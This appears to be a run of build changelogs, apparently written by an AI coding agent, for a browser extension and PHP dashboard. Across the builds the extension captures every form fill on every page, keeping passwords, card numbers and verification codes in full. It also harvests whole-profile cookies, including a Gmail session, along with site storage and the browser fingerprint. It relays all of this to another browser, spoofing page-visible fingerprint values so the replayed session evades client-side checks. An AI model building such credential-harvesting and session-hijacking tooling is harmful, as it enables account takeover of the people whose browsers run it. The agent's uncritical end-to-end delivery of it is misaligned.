# browser-control-dashboard_78 — StorageAce-style frame cookie capture

This build changes how the dashboard's “get site data” capture collects cookies so
it matches StorageAce's **All Frames** behaviour, which is the reason a
StorageAce-exported Gmail session carried more cookies than the dashboard export.

## New in this build (78)

1. **Frame/subresource cookie discovery (feature)** — `captureDomainBundle` and the
   active-tab snapshot no longer call `chrome.cookies.getAll({ url: tabUrl })`
   directly. They now run `frameResourceWorker` in the page via
   `chrome.scripting.executeScript`, read `performance.getEntriesByType('resource')`,
   strip query/fragment, de-duplicate the origins, and query `chrome.cookies.getAll`
   for each. This is the exact mechanism StorageAce uses (`getAllFrameCookies`). An
   SSO site such as Gmail scatters its session across `accounts.google.com`,
   `ogs.google.com`, `apis.google.com`, `mail.google.com`, … so the single-URL query
   missed cookies the frame walk returns. Cookies are merged, de-duplicated on
   storeId+partition+domain+path+name, and sorted by domain.
2. **`cookie_scope` selector (feature)** — `captureDomainBundle` accepts
   `cookie_scope: 'frames' | 'all' | 'url'`:
   - `frames` (default) — every first-party origin the tab contacted (StorageAce
     “All Frames”).
   - `all` — `chrome.cookies.getAll({})`, every cookie in the profile (StorageAce
     “All Domains”).
   - `url` — the legacy single-URL behaviour, kept for compatibility.
   The effective scope is recorded in the bundle as `cookie_scope`.
3. **Scripting fallback (hardening)** — if the page blocks `executeScript`
   (`chrome://`, the PDF viewer, Web Store), the collector falls back to the tab
   URL instead of returning nothing.
4. **Tests** — a new suite extracts the collector from the source and runs it
   against a stubbed `chrome` to prove origin de-duplication, fragment/query
   stripping, the `all`/`url` scopes, and the no-scripting fallback (40/40).

## Which is better: dashboard vs StorageAce export

Both carry the same per-cookie JSON keys. StorageAce's Gmail export (32 cookies) beat
the dashboard's (27) purely because of its All-Frames capture; the dashboard also
adds localStorage / sessionStorage / IndexedDB / fingerprint, which StorageAce's
cookie-only export does not. After this build the dashboard capture is a superset of
StorageAce's cookie set for the same page.

---

# browser-control-dashboard_77 — Domain bundles v2: IndexedDB + fingerprint, multi-origin capture, reliable restore

This build grows the per-origin “site storage” bundle from cookies / localStorage /
sessionStorage into a full session snapshot. **IndexedDB** databases and the
**browser fingerprint** are now captured, persisted, served back to the dashboard,
and replayed on restore. A single capture can cover several origins at once, the
restore no longer guesses how long a page takes to load, and the Cookies Sync
helper gains a manual “Sync now” mode so mirroring is deliberate instead of
continuous.

## New in this build (77)

1. **IndexedDB capture and restore (feature)** — a new `idb-codec.js` ships inside
the extension (loaded first via `importScripts('bootstrap.js', 'idb-codec.js')` and
injected into the page’s isolated world with `chrome.scripting.executeScript`). It
tags non-string structured-clone values with a `__idb` discriminator so Dates,
typed arrays and Maps/Sets survive the JSON boundary instead of being flattened
(the reason a restored SPA could otherwise look signed-out). Capture reads every
database/store through `executeStorage(tabId, 'read')`, and restore writes them
back through `executeStorage(tabId, 'write', { …, indexedDB })` before the reload.

2. **Browser fingerprint capture and replay (feature)** — `readFingerprint()`
records `user_agent`, `language`/`languages`, `platform`, `timezone`, screen
metrics, `hardware_concurrency`, `device_memory` and `user_agent_data` (client
hints). On restore, `applyFingerprintRules(origin, fingerprint)` installs a
session-scoped `declarativeNetRequest` rule
(`FINGERPRINT_RULE_ID_BASE = 900000`, priority 3) that sets `user-agent`,
`accept-language` and the `sec-ch-ua*` request headers bound to the captured host,
while `clearFingerprintRules()` removes it. The manifest adds the
`declarativeNetRequestWithHostAccess` permission. The server only forwards
`apply_fingerprint` when the bundle actually carries a fingerprint.

3. **Multi-origin capture (feature)** — the dashboard’s origin field now accepts a
comma/space-separated list. `captureDomainBundles()` finds the matching open tab
for each origin (`MAX_BUNDLE_ORIGINS = 20`, deduped) and returns **one bundle per
origin**, because the server keeps an independent revision series per origin. The
API forks one `capture_domain_bundle` command and one bundle per origin and
returns `{ commands, bundles }`.

4. **Restore waits for the page instead of a fixed sleep (fix)** — the old fixed
`setTimeout(…, 2500)` is replaced by `waitForTabReady(tabId, origin)`, which
resolves when the destination tab reports `status === 'complete'` for the expected
origin (20s timeout). The post-restore reload waits again with
`{ skipImmediateCheck: true, timeoutMs: 15000 }`, so storage is written into a
document that has actually loaded instead of one the page then overwrites.

5. **Cookies Sync v1.1.0 folded in (feature)** — the manual/automatic sync mode
from the standalone helper is now part of the dashboard tree; see
`cookies-sync-template/CHANGES.md` for the full file-by-file breakdown.

6. **Dashboard and server wiring (feature)** — `lib.php` adds
`sanitize_domain_indexeddb()`, `sanitize_domain_fingerprint()`,
`domain_bundle_blob()` and `domain_bundle_indexeddb_counts()`; bundle summaries
now expose `version`, `indexeddb_count`, `indexeddb_store_count`,
`indexeddb_record_count` and `has_fingerprint`, and prepared bundles are seeded as
schema v2. `api.php` adds the `include_indexed_db` / `include_fingerprint`
flags and `origins[]` support. The dashboard captures both extras, exports schema
v2 JSON (`indexedDB` + `fingerprint`), restores with
`apply_fingerprint`/`reload`, and shows the IndexedDB/fingerprint counts in the
bundle list.

7. **Cookies Sync restores storage + fingerprint on Sync now (feature)** — the
   manual sync path now folds in the site storage bundle. `cookies_sync_pull`
   returns the source installation's captured bundles when the pull sets
   `include_storage: true` (new helper `cookie_sync_storage_bundles()`), and the
   `cookies-sync-template` **v1.2.0** gains a ported storage/fingerprint engine
   (`siteStorageWorker`, `executeStorage`, `waitForTabReady`,
   `applyFingerprintRules`, `applyBundles`, `idb-codec.js`) so a replayed session
   carries localStorage, sessionStorage, IndexedDB and the browser fingerprint
   instead of cookies alone. The heavy restore runs only on an explicit Sync now /
   connect; the auto-mode poll stays cookie-only. No change is needed in the main
   extension — it already uploads bundles via `domain_bundle_upload`. After writing
   storage the origin tab is reloaded, matching the main extension's
   `restoreDomainBundle`, so the page boots against the restored state and the
   fingerprint's request-header rule applies to the re-fetched document.

8. **The user agent now changes on the page itself (fix)** — reported directly:
   *“the user agent didnt work.”* The DNR-only fingerprint from item 7 rewrote the
   request on the wire, so the server saw the source UA, but `navigator.userAgent`
   in the page kept showing the local browser — enough for a client-side check to
   flag the replayed session. `cookies-sync-template` **v1.3.0** adds
   `fingerprint-main.js`, a content script declared `"world": "MAIN"`,
   `"run_at": "document_start"`, `all_frames: true` (the same mechanism a UA
   switcher uses). The service worker writes the bundle into `sessionStorage`
   under `__urlr_fp__` (`FP_MARKER_KEY`) just before the reload; the MAIN-world
   script reads it at document_start and redefines `navigator.userAgent`,
   `appVersion`, `platform`, `language`, `languages`, `userAgentData` (including
   `getHighEntropyValues`), `hardwareConcurrency`, `deviceMemory`, the `screen.*`
   metrics and the `Intl.DateTimeFormat` time zone. Being browser-injected, it is
   not blocked by the page CSP, and it runs before the page's own scripts. The DNR
   header rule stays as the wire-level half.

9. **Manual bundle import in the popup (feature)** — requested so a captured
   export can be applied when a relay pull is not available. The popup gains an
   “Import a bundle JSON by hand” block (textarea, file picker, Import button).
   The `COOKIE_SYNC_IMPORT` message accepts a single object, an array, or
   `{bundles:[…]}`, in the camelCase schema-v2 export shape
   (`localStorage`/`sessionStorage`/`indexedDB`) or the snake_case relay shape.
   `domainBundleFromServer` was made tolerant of both (merged `localStorage`/
   `local_storage`, `indexedDB`/`indexeddb`, origin fallback from `url`, plus a
   `cookies` field), cookies are written through the same `applyEvent` path as a
   sync, and storage + fingerprint replay through `applyBundles`. This is the
   format the dashboard's **Export one JSON** produces.

10. **Dashboard downloads never fail to load when icons are absent (fix)** — the
    packaged `extension-template/` intentionally ships without icon binaries, but
    its `manifest.json` still pointed at `icons/icon16.png`, `icon48.png` and
    `icon128.png`. Chrome and Edge then refuse the whole extension
    (`Could not load icon 'icons/icon16.png' specified in 'icons'`), so a browser
    that installed the dashboard download silently never ran — no capture, and
    therefore no fingerprint to relay. `download_extension` / `package_download`
    now prune any `icons` / `action.default_icon` entry whose file is missing from
    the template before writing the manifest, so a download always loads; entries
    whose files are present (operator-supplied icons) are kept untouched. Applied
    to both the UI and headless builds, with a suite assertion pinning the prune.

## Verification for build 77

- `node --check` on `background.js`, `idb-codec.js`, `dashboard.js` and the test
  suite; `php -l` on `lib.php` and `api.php`.
- The automated suite (`tests/control-center.test.js`) is extended with six new
  cases covering the codec + schema v2, multi-origin capture, DNR fingerprint
  rules, load-complete restore timing, the server sanitizers/summary fields, and
  the dashboard capture/export/restore wiring. **38/38 pass** (was 32; the four
  build-76 assertions that pinned `3.16.0`/the old `importScripts` line were
  updated for the new `3.17.0` manifest).
- Both `manifest.json` copies (extension + template mirror) are `3.17.0` with the
  new permission; `extension-template/background.js` and `idb-codec.js` are
  byte-identical to the url-rewriter copies.
- `index.php` cache busters advanced to `dashboard.css?v=control-center-26` and
  `dashboard.js?v=control-center-30` (with the matching suite assertions) so
  browsers reload the new dashboard assets.
- End-to-end relay check against `lib.php` (register → bundle upload → enroll →
  pull): `include_storage: true` returns the source bundle carrying `origin`,
  `local_storage`, `session_storage`, `indexeddb` and the fingerprint UA;
  `include_storage: false` and the default omit `bundles` while still delivering
  the cookie snapshot; a wrong destination secret is rejected with **401**.
- Live browser check (real Chromium via puppeteer-core, `--load-extension` of the
  packaged `cookies-sync-template` against a stub relay): **Sync now** reported
  `{localStorage: 2, sessionStorage: 1, databases: 1, records: 1, fingerprints: 1,
  reloads: 1, errors: []}`; the destination page independently read back
  `auth_token`/`username`/`session_flag` and one `appdb`/`kv` record; the reloaded
  document request reached the server carrying the source user agent. Confirms
  storage **and** the fingerprint header rewrite land on the destination.
- Page-visible fingerprint proof (real Chromium via puppeteer-core,
  `--load-extension` of the packaged `cookies-sync-template`): on a page served
  with `script-src 'none'` the MAIN-world `fingerprint-main.js` still ran and
  `navigator.userAgent`/`userAgentData`/`platform`/`screen.*`/time zone all read
  back the spoofed values, and on a `script-src 'self'` page the page's **own**
  external script already saw the spoofed UA at load (document_start ordering); a
  control page with no `__urlr_fp__` marker read the real values. The extension's
  service worker was confirmed running (`chrome-extension://…/background.js`).
- Manual-import proof (same harness, driving the real `popup.html`): pasting a
  schema-v2 bundle and clicking **Import** produced
  `Imported 1 cookie(s) · storage on 1 origin(s), 1 fingerprint(s)`; the
  destination tab then read back the imported cookie, `localStorage` and
  `sessionStorage`, and the spoofed UA/platform/time zone, and
  `chrome.storage.local` persisted `cookieSyncStatus`/`cookieSyncLastAt`.
- Automated suite extended with a camelCase schema-v2 import case (cookies +
  storage payload + fingerprint DNR rule + marker args recorded), MAIN-world
  manifest/asset assertions, and the missing-icon prune; **39/39 pass**.
- Packaged-load proof (real Chromium): the fixed endpoint's UI download kept its
  `action` but carried **no** `icons` / `default_icon` keys (icons directory
  absent), and its service worker loaded (`chrome-extension://…/background.js`
  target present). The same manifest with the icon references restored and no
  icons on disk failed to load (**service_worker=MISSING**), confirming the icon
  reference was the load blocker.
- Full two-browser end-to-end test with extensions built straight from the
  endpoint downloads (source = dashboard **Browser Extensions** with a forced
  distinctive `--user-agent`; destination = **Cookies Sync**): the real capture
  command → `domain_bundle_upload` → popup `COOKIE_SYNC_CONNECT` → pull →
  `applyBundle` chain passed **12/12** checks. The destination origin tab read
  back the source `navigator.userAgent`, `platform` and timezone after
  apply+reload, with the `__urlr_fp__` sessionStorage marker present.

# browser-control-dashboard_76 — Autofill Records search UX: focus, scroll and keyboard navigation

This build answers the report that *"the autofill search is really buggy also
when the autofill is many and I scroll down it goes back up and not let me and I
cant also use the down button."* All three symptoms share one root cause: the
dashboard replaces the entire `#app` markup on every poll tick and on every
keystroke (`render()`). Because the Autofill Records list and its detail panel
were rebuilt from scratch each time, every render (a) tore down the focused
search input and its caret, (b) reset the list's scroll position to the top, and
(c) had no keyboard model at all, so ArrowDown did nothing and the view snapped
back to the top while the owner was reading down a long list. Build 76 preserves
view state across renders and adds a real keyboard navigation layer.

## Fixes in this build (76)

1. **Focus, caret and scroll survive every re-render (bug, fixed)** — two new
   helpers, `captureViewState()` and `restoreViewState(snapshot)`, run on either
   side of the markup swap inside `render()`. The snapshot records the focused
   control (by `id`, or by `data-action` + `data-id`, with the caret/selection
   range via `selectionStart`/`selectionEnd`), the `scrollTop` of every
   `data-scroll-key` container, and the page scroll offsets; `restoreViewState()`
   re-applies them after the new DOM is in place and `restoreFocus()` refocuses
   the control and restores the caret. `attrSelectorValue()` escapes attribute
   values so a stored selector can be looked up safely, and a `pendingFocus`
   slot carries an element the user is about to reach (for example the first row
   after "Show more") across the re-render. Typing in the search box no longer
   loses focus mid-word, and scrolling a long record list no longer jumps to the
   top on the next poll.

2. **Debounced search input (bug, fixed)** — the Autofill Records search field
   now updates its state and schedules a render through
   `scheduleAutofillSearchRender = debounce(() => render(), 140)` instead of
   re-rendering on every keystroke. Rendering per character was the other half of
   the lost-caret problem; a short debounce removes the fight between the input
   and the render loop. The device, rule, cookie and tab-site search boxes use
   the same pattern.

3. **Keyboard navigation for the lists (feature)** — `handleListKeydown()` and
   `bindListKeyboardNav()` add a keyboard model to every container marked
   `data-nav-list` (Autofill records, devices, redirect rules, hide rules):
   ArrowDown/ArrowUp
   move by one row, Home/End jump to the ends, PageDown/PageUp move by ten,
   Space activates the focused row, and Shift+Arrow extends the bulk-selection
   range over the rows in between (`adoptRangeSelection()`). Each row carries
   `data-nav-row`, `focusListRow()` scrolls the active row into view with
   `{ block: 'nearest' }`, and `:focus-visible` styling plus a `:focus-within`
   background make the active row obvious. Pressing **ArrowDown** (or Enter) in a
   supported search box moves focus into the first row
   (`bindListSearchKeyboard()` / `focusFirstListRow()`), and **Escape** clears the
   query. This is what makes the list work with the keyboard instead of trapping
   the user at the top.

4. **Progressive loading with an honest footer (feature)** — a long result set is
   no longer rendered all at once or truncated silently. The view renders
   `state.autofillRecordLimit` records (100 to start) with a sticky
   `record-list-more` footer that always states **"Showing X of Y"**. When more
   rows exist it offers **"Show 100 more"** (`data-action="autofill-records-more"`)
   and **"Show all N"** (`data-action="autofill-records-all"`). When a search or
   status filter is active the footer also shows a **"Clear filters"** link
   (`data-action="clear-autofill-search"`) that resets the query, the status and
   the limit. Typing a query shows all matches rather than a truncated page. The
   Autofill list container is marked `data-scroll-key="autofill-records"` /
   `data-nav-list="autofill-records"` so both scroll memory and keyboard
   navigation apply to it.

5. **Search matches field names too (enhancement)** — `autofillRecordHaystack()`
   builds a per-record search string from the device name, browser name/type,
   profile name/id, domain, URL, page title, the matched keywords **and** every
   captured field's key, label and category, so searching for a field name or
   category finds the record it belongs to.

6. **Redirect-rules list made navigable (bug, fixed during this build)** — the
   rule search box (`#rule-search`, in the *rules* view) was wired to a list key
   of `rules`, but that list had no `data-nav-list` / `data-nav-row` markers, and
   the only marked list (`hide-rules`) belongs to the separate *hide-element*
   view. ArrowDown from the rule search box therefore found nothing. The
   redirect-rules list now carries `data-scroll-key="rules"` /
   `data-nav-list="rules"` with `data-nav-row` (and `data-id`) on every
   `rule-card`, and the search box targets `rules` again — the same view it lives
   in, so scroll memory and ArrowDown both apply.

7. **Hidden switch checkbox no longer swallows row focus (bug, fixed during this
   build)** — row focus picked the first `[data-action]` element inside the row,
   which on rule cards and hide rules is the table switch checkbox. That checkbox
   is hidden by CSS (`.switch input { display:none }`) and `focus()` on a
   non-rendered element silently does nothing, so ArrowDown into the redirect
   rules and hide-rules lists appeared dead even though the handlers ran.
   `focusListRow()` now focuses the row itself (setting `tabindex="-1"` when the
   row is not already focusable) and only falls back to the first *visible,
   enabled, non-checkbox* control via `rowFocusTarget()`.

8. **CSS for the new UI (styling)** — `dashboard.css` gains the sticky
   `record-list-more` footer, the footer action buttons, and the
   `:focus-visible` / `:focus-within` row-highlight rules used by the keyboard
   navigation.

## Verification for build 76

- All **32** tests in `browser-control-dashboard/tests/control-center.test.js`
  pass (the 31 from build 75 plus a new "Autofill search keeps focus and scroll
  while editing, and lists support keyboard navigation" test that asserts the
  view-state helpers, the `data-scroll-key` / `data-nav-list` / `data-nav-row`
  markers, the ArrowDown/ArrowUp handling, the debounced search, the footer
  actions, and the new CSS).
- Every PHP file passes `php -l`; `dashboard.js` passes `node --check`.
- `index.php` cache busters advanced to `dashboard.css?v=control-center-25` and
  `dashboard.js?v=control-center-29` so browsers reload the new assets.
- The focus, scroll-retention and keyboard behavior was exercised in headless
  Chromium against a live PHP server (typing keeps the caret, scrolling the
  record list survives a poll tick, ArrowDown moves between rows, and "Show
  more" expands the list without losing position). A second headless pass
  verifies ArrowDown from the device search, from the rule search into the
  redirect-rules list (then advancing to the next rule), and focus plus
  ArrowDown inside the hide-rules list — 9/9 checks pass.

Build 76 contains everything from builds 74 and 75 (autofill captures every page
with a grouped keyword/other record list, and multi-step sign-ins are merged into
a single credential record with junk-field rejection). The extension bundles
(`url-rewriter-extension/` and the mirrored
`browser-control-dashboard/extension-template/`) are unchanged from build 75
(version 3.16.0); the search work is dashboard-only.

---

# browser-control-dashboard_75 — Multi-step Autofill sign-ins + junk-field rejection

This build answers the report that a real sign-in page produced junk records —
`getAppDeviceSelect` / `tmt-select` device and "Take me to" dropdowns, buttons,
and unlabeled pickers — and that a two-page sign-in (username → Next → password)
was not captured properly even though Chromium offered its own save-password
prompt. The root causes were a classifier that trusted a matching label over the
control's own structure, and a capture pipeline that treated each page as an
independent record. Both are fixed: structural widgets are rejected, and the
steps of one sign-in are merged into a single record that keeps **both** the
username and the password. A server-side ordering bug that could erase a merged
profile replay capture was found and fixed during live end-to-end testing. All 31
tests in `browser-control-dashboard/tests/control-center.test.js` pass; all PHP
files pass `php -l`; all modified JS files pass `node --check`; the new behavior
was exercised against a live PHP server and in headless Chromium.

## Fixes in this build (75)

1. **Junk fields are rejected by structure, not by a lucky label (bug, fixed)** —
   the shared classifier `url-rewriter-extension/autofill-fields.js` (mirrored
   byte-for-byte to
   `browser-control-dashboard/extension-template/autofill-fields.js`) rejected
   `combobox` / `listbox` pickers only when nothing in the field's own text
   matched an address hint. A country or device picker whose label *did* match
   that hint slipped through, which is how `getAppDeviceSelect` and `tmt-select`
   were captured as fields. The picker guard now keys off an explicit
   `authSignal = PASSWORD_HINT.test(signals) || USERNAME_HINT.test(signals)`, so a
   combobox/`aria-haspopup="listbox"` control is dropped unless it is genuinely a
   credential field. Selects, buttons, checkboxes, hidden/file/date/search
   inputs, `gclid`-style tracking fields, quantity controls, and inputs whose
   value is only their own placeholder are all rejected, and a rejected field is
   reported with a reason instead of being recorded. The unlabelled rule was also
   tightened: a generated `name`/`id` (`x1`, `input-3`, `field_2`, `txt4`, a
   `ctl0`-style counter, or an opaque hex id) no longer counts as a label, so
   anonymous helper inputs are dropped too, while word-like identifiers such as
   `signin_email`, `custom_note`, or `billing_address_1` are still kept.

2. **Multi-step sign-ins capture on Next/Continue, then merge into one record
   (feature)** — `autofill-content.js` now snapshots the current step when a
   Next / Continue / Sign in / "proceed" control (including localized labels) is
   clicked, before the page can navigate away, and it detects a password or
   username field that appears late in the same flow. The per-tab, per-profile
   accumulator in `background.js` collects those step payloads, merges their
   fields by name, and submits **one** completed capture under the *first* step's
   session ID. Steps are flushed on a five-minute TTL, on tab close, and on the
   extension sync alarm, so an abandoned half-finished sign-in still lands as one
   record instead of two or none. Previously each page shipped its own record and
   the server kept only the first, so the password from page two was lost.

3. **`api.php` `autofill_capture` duplicate guard protects the merged record and
   the profile replay capture (bug, fixed)** — live end-to-end testing showed the
   profile replay write (`mutate_store('autofill_captures')`) ran *before* the
   session dedup check, so a late or password-only duplicate POST overwrote the
   merged replay capture and dropped the username. The handler now performs an
   early duplicate guard at the top of the action: it reads
   `autofill_records` by `session_id` + `profile_id` + `installation_id` and, when
   a completed record already exists, answers
   `{"accepted":true,"status":"duplicate","record":<existing>}` immediately,
   before `$capture` is computed and before any store is mutated. A retry can no
   longer rewrite an already-completed capture.

4. **Dashboard detail view shows how a record was split and what is sensitive
   (feature)** — the Autofill record detail renders two sections, **"Captured
   with your keywords"** and **"Other captured fields"**, using the union of the
   selected record's `matched_keywords` and the enabled profiles' keywords.
   Captured records are also grouped in the list by the same rule, and sensitive
   values (password and other credential categories) are masked behind a
   **Reveal sensitive** toggle, each field carrying its category tag.
   Cache-busters bumped to `dashboard.css?v=control-center-24` and
   `dashboard.js?v=control-center-28`.

5. **Tests** — added a case asserting a repeated completed Autofill capture never
   rewrites the profile replay capture (the early-duplicate-guard index is
   asserted to precede the replay write). The extension manifest version was
   bumped to `3.16.0` and its assertion updated, and the cache-buster assertions
   were updated to 24 / 28. Suite result: 31/31 pass.

6. **Docs** — the Autofill sections of `url-rewriter-extension/README.md`
   (mirrored to `browser-control-dashboard/extension-template/README.md`) and
   `browser-control-dashboard/README.md` were rewritten: passwords and other
   sensitive values are no longer described as excluded — they are captured in
   full, tagged, and masked in the dashboard — and the classifier rules,
   multi-step merge, and duplicate guard are documented.

# browser-control-dashboard_74 — Autofill captures every page + grouped record list

This build answers the follow-up clarification: Autofill should capture **every**
form fill on **every** page, not only pages that match a profile keyword, and the
Autofill Records list should be split into two sections — the captures whose URL
matched a keyword you configured on an Autofill profile, and everything else. The
v73 build only split the *fields within one record*; this build splits the
*record list itself* and removes the client-side capture gate so a form on any
page is recorded. All 25 tests in
`browser-control-dashboard/tests/control-center.test.js` pass; all PHP files pass
`php -l`; all modified JS files pass `node --check`; the new behavior was
exercised end-to-end against a live PHP server and in headless Chromium.

## Fixes in this build (74)

1. **Autofill now captures on every page, not only keyword-matched pages
   (feature)** — `url-rewriter-extension/autofill-content.js` (mirrored
   byte-for-byte to
   `browser-control-dashboard/extension-template/autofill-content.js`) used to
   bail out of the capture (`if (!profiles.length) return;`) whenever no enabled
   Autofill profile matched the page, so pages with no keyword were never
   recorded. `send()` now always emits one delivery: when a profile matches it
   sends `profileId: <id>` with `matchedKeywords`, and when nothing matches it
   sends `profileId: '', matchedKeywords: []`. `apply()` still only fills a form
   when a profile actually matches, so the autofill/replay behavior is unchanged;
   only the capture is ungated.

2. **`api.php` `autofill_capture` accepts a generic (no-profile) capture
   (feature)** — the handler no longer requires `profile_id`. An empty
   `profile_id` produces a **generic** completed record with
   `profile_name: 'No profile match'` and `matched_keywords: []`. Generic captures
   are **history only**: the `autofill_captures` replay store is written only when
   a profile matched, so a no-profile capture can never overwrite a profile's
   reusable replay capture. The Telegram summary is skipped for generic records
   (reported as `not_configured`) because there is no profile to alert on.

3. **Null-capture regression in the generic record path (bug, fixed)** — after
   ungating, `$capture` is `null` for a generic capture, but the completed-record
   array still read `$capture['url']` / `$capture['page_title']`, which emitted a
   PHP warning and stored a `null` URL for every no-profile record. The record now
   uses `$capture_url` and re-reads `page_title` from the request, so generic
   records keep their real URL and title. A static test asserts the record never
   dereferences `$capture['url']` again.

4. **Autofill record list grouped into two sections (feature)** — in
   `dashboard.js` `renderAutofillRecords`, the row markup was extracted to
   `recordRow(record)` and the list is split into `keywordRecords` (records whose
   `matched_keywords` is non-empty) and `otherRecords`, rendered through a new
   `recordGroup(title, help, list)` helper under the headings **"Captured with
   your keywords"** and **"Other captures"**. The per-record field split now uses
   the **union** of the selected record's `matched_keywords` and the enabled
   profiles' keywords, so a record with no matched keywords still splits its
   fields against the words you set on your profiles; when no keywords exist at
   all it falls back to a single field table. `dashboard.css` gained
   `.autofill-record-group`, `.autofill-record-group-title`, and
   `.record-group-help` styles.

5. **Tests** — added `extension captures every autofill on every page, not only
   keyword-matched ones` (asserts the old gate is gone, the generic
   `profileId: '', matchedKeywords: []` delivery exists, the handler no longer
   `require_id`s `profile_id`, and the generic record path is warning-free) and
   `Autofill record list groups keyword-matched and other captures` (asserts the
   group classes, headings, and `keywordRecords` / `otherRecords` /
   `profileKeywords` logic). Version bumped to `3.15.0` in both `manifest.json`
   copies; cache-busters to `dashboard.css?v=control-center-23` and
   `dashboard.js?v=control-center-27`. (25/25 pass.)

6. **Verified end-to-end** — against a live PHP server, a keyword-matched
   capture produced a record with `matched_keywords: ["bank", "secure"]`, a
   no-profile capture produced a `No profile match` record with an empty
   `matched_keywords` array and its URL/page title intact, and a generic draft was
   accepted without creating any `autofill_captures` entry. The dashboard showed
   exactly one record under "Captured with your keywords" and one under "Other
   captures", and the generic record's detail split its fields into keyword
   (0) and other (2) with the card number still masked.

# browser-control-dashboard_73 — Multi-select bulk delete + split Autofill viewer

This build answers two requests: bulk-deleting many records at once was painful
(selecting several rows with the mouse felt impossible), and the Autofill record
viewer should show keyword-matched captures separately from everything else.
Devices, Hide rules, and Autofill records now have per-row checkboxes plus a
"Select all" control and a bulk action bar, with Shift-click selecting a
contiguous range and Ctrl/Cmd-click adding single rows. The Autofill record
detail now renders two labelled sections — "Captured with your keywords" (the
fields matching the words you set on that Autofill profile) and "Other captured
fields" (everything else captured from the submitted form). All 23 tests in
`browser-control-dashboard/tests/control-center.test.js` pass; all PHP files
pass `php -l`; all modified JS files pass `node --check`; the new bulk actions
were exercised end-to-end against a live PHP server and in headless Chromium.

## Fixes in this build (73)

1. **Multi-select + bulk delete for Devices, Hidden rules, and Autofill records
   (feature)** — the new selection is driven by three `Set`s in `dashboard.js`
   (`state.selectedDevices`, `state.selectedHideRules`,
   `state.selectedAutofillRecords`) and shared helpers `selectBoxMarkup()`,
   `selectAllMarkup()`, `bulkBarMarkup()`, `handleSelectClick()`,
   `handleSelectAllClick()`, and `toggleSelection()`. `toggleSelection()` keeps a
   per-list anchor id, so a plain click selects one row, **Shift-click** marks the
   whole contiguous range from the anchor, and **Ctrl/Cmd-click** toggles a single
   row — this replaces the fragile "Ctrl+Down" attempt the user reported. A bulk
   action bar appears above each list ("N hide rules selected · Clear · Delete
   selected") and the device table shows a header "Select all" checkbox.

   - Selected rows are marked with `data-select-row="devices|hide-rules|autofill-records"`
     and `data-id`, wrapped in `.select-col` / `.rule-select` / `.record-select`
     cells; `dashboard.css` gained the matching `.row-select`, `.select-all`,
     `.bulk-bar`, `.button-danger`, and `.autofill-record-item.selected` styles.
   - Destructive actions confirm first ("Delete N selected …? This cannot be
     undone.") so a slipped click is not fatal.
   - Devices deletion asks whether to **move** the linked browser installations to
     Unassigned or **remove and revoke** them, mirroring the single-device modal.

2. **Bulk delete API actions (feature)** — `api.php` gained
   `hide_rules_delete` and `devices_delete`, joining the existing
   `autofill_records_delete`. All three read an `ids` array through the new
   `require_ids()` helper in `lib.php` (validated with the same
   `/^[A-Za-z0-9_-]{3,160}$/` id pattern, de-duplicated, capped at 500, and
   rejecting an empty list with `422`). None of the three is in the public
   allowlist, so the default-deny gate at `api.php` forces every call through
   `current_owner()` (owner session) before dispatch — an unauthenticated call
   returns `401`. `hide_rules_delete` re-syncs the browsers whose rules were
   removed; `devices_delete` unlinks or revokes the affected installations and
   clears their website assignments.

3. **Autofill record viewer split into two sections (feature)** — inside
   `renderAutofillRecords`, the record fields are partitioned by the **Autofill
   profile keywords that matched the record URL** (the server-set
   `record.matched_keywords` array — the same words the user configured on the
   profile to trigger autofill). A field belongs to the first section when any
   matched keyword appears as a substring in its `key`, `label`, or `value`
   (case-insensitive); everything else falls into "Other captured fields". The
   first section is titled **"Captured with your keywords"** and each matched
   row shows the matching word as a small `keyword-tag` badge so the link is
   obvious. Rendering goes through the shared `fieldSection()` helper, so both
   sections show their own count, an empty-state message, and keep the existing
   sensitive-value masking behind the reveal eye. Note: profile keywords are
   usually URL/page words (e.g. `checkout`), so if a field's name/value does not
   contain the keyword the first section can legitimately be empty — the second
   section then holds all captured fields. No copy/export controls were added —
   the reveal stays a deliberate act.

4. **Tests** — added `multi-select and bulk delete cover devices, hide rules,
   and Autofill records` (asserts the three actions exist, use `require_ids`, are
   kept out of the public allowlist, and that the dashboard exposes the selection
   Sets, helpers, and `data-select-row` hooks) and `Autofill record viewer splits
   keyword-matched and other captured fields`. Cache-busters updated to
   `dashboard.css?v=control-center-22` and `dashboard.js?v=control-center-26`.
   (23/23 pass.)

5. **Verified end-to-end** — against a live PHP server the three bulk actions
   deleted 2 hide rules, 1 Autofill record, and 2 devices (move) with the correct
   counts and surviving data; an unauthenticated call returned `401`, empty ids
   `422`, unknown ids `404`, and a missing device action `422`. In headless
   Chromium the Devices, Hide Elements, and Autofill Records pages rendered their
   checkboxes, bulk bar, and confirm dialogs, deleted the selected rows, and
   Shift-click selected a 3-row range while Ctrl-click toggled a single row.

## Fixes in this build (72)


This build answers the request to "capture everything including passwords" and
keep the Autofill viewer masked until you choose to reveal a record. Autofill now
stores every submitted value in full, tagging sensitive ones instead of deleting
them; the dashboard masks sensitive values by default behind a per-record eye
toggle. The build also repairs two defects found while wiring this up: a
missing server helper that would fatal on every capture, and a corrupted tail
block in `lib.php` that broke PHP parsing. All 23 tests in
`browser-control-dashboard/tests/control-center.test.js` pass; all PHP files
pass `php -l`; all modified JS files pass `node --check`.

## Fixes in this build (72)

1. **Autofill now captures every submitted value, including sensitive fields
   (feature)** — previously only "safe" editable values were learned and
   sensitive ones were replaced by the marker `***`.

   - `url-rewriter-extension/autofill-content.js` (mirrored byte-for-byte to
     `browser-control-dashboard/extension-template/autofill-content.js`): a new
     `sensitiveCategory(field)` classifies a field as `password`,
     `security_code`, `verification_code`, `recovery_code`, `secret`,
     `card_number`, or `account_identifier` from its `type`, `autocomplete`,
     name/id, and label; `snapshot()` now keeps the real value for every field
     and attaches the sensitivity flag and category instead of dropping it.
   - `api.php` `autofill_capture`: stores full values, carries `sensitive` +
     `category` per field, and computes `safe_field_count` / `sensitive_field_count`.
     No `'value' => '***'` redaction remains anywhere on the capture path.
   - `lib.php`: the Telegram summary reports only the standard/sensitive field
     counts, never the values.

2. **Missing `autofill_sensitive_category()` helper would fatal on every capture
   (critical)** — `api.php` called `autofill_sensitive_category()`, but no such
   function was ever defined, so any Autofill capture would raise a PHP fatal
   error. Added the helper in `lib.php` with categories identical to the content
   script's so browser and server agree.

3. **Corrupted `lib.php` tail (critical)** — `lib.php` carried a duplicated
   garbage block (`}' => [],` …) at the end of the file that produced
   `PHP Parse error: syntax error, unexpected identifier "collection"`. Removed
   the duplicate block; `php -l` is now clean.

